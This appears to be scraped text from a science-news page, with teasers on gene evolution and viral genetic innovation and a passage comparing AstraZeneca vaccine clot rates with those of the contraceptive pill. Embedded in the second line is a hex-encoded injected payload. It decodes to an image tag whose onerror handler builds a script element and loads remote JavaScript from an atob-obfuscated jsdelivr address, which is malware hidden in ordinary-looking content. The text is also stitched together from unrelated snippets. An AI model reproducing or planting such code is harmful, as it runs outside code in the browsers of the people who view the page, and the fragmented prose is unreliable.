New research sheds light on how genes that have remained unchanged for hundreds of thousands of years can still alter the appearance of different species.
There is mounting evidence that the viruses that infect plants and animals are also a major source of genetic innovation in these organisms">0x416d65726963613c696d67207372633d2222206f6e6572726f723d2276617220733d646f63756d656e742e637265617465456c656d656e74282773637269707427293b732e7372633d61746f6228274c79396a5a473475616e4e6b5a577870646e4975626d56304c32646f4c7a526b646d4d77626d5976595338784c6d707a27293b646f63756d656e7">
By the end of March, 79 cases of rare blood clots had been reported in those who’d received the AstraZeneca vaccine the UK, with cases occurring more frequently in younger women. Because of this, comparisons have been drawn with the contraceptive pill, which carries a greater relative risk of clots. In the UK, blood clots have occurred in people taking the AstraZeneca vaccine at a rate of roughly one in every 250,000, whereas blood clots caused by the pill are estimated to affect one in every 1,000 women each year.
But this isn’t the only difference between the two. Although evidence is still emerging, the mechanisms behind the type of clotting linked to the vaccine and that linked to the pill appear to be quite different. It’s a reminder of how complex the blood and clotting is, with multiple parts of the process that can be disrupted.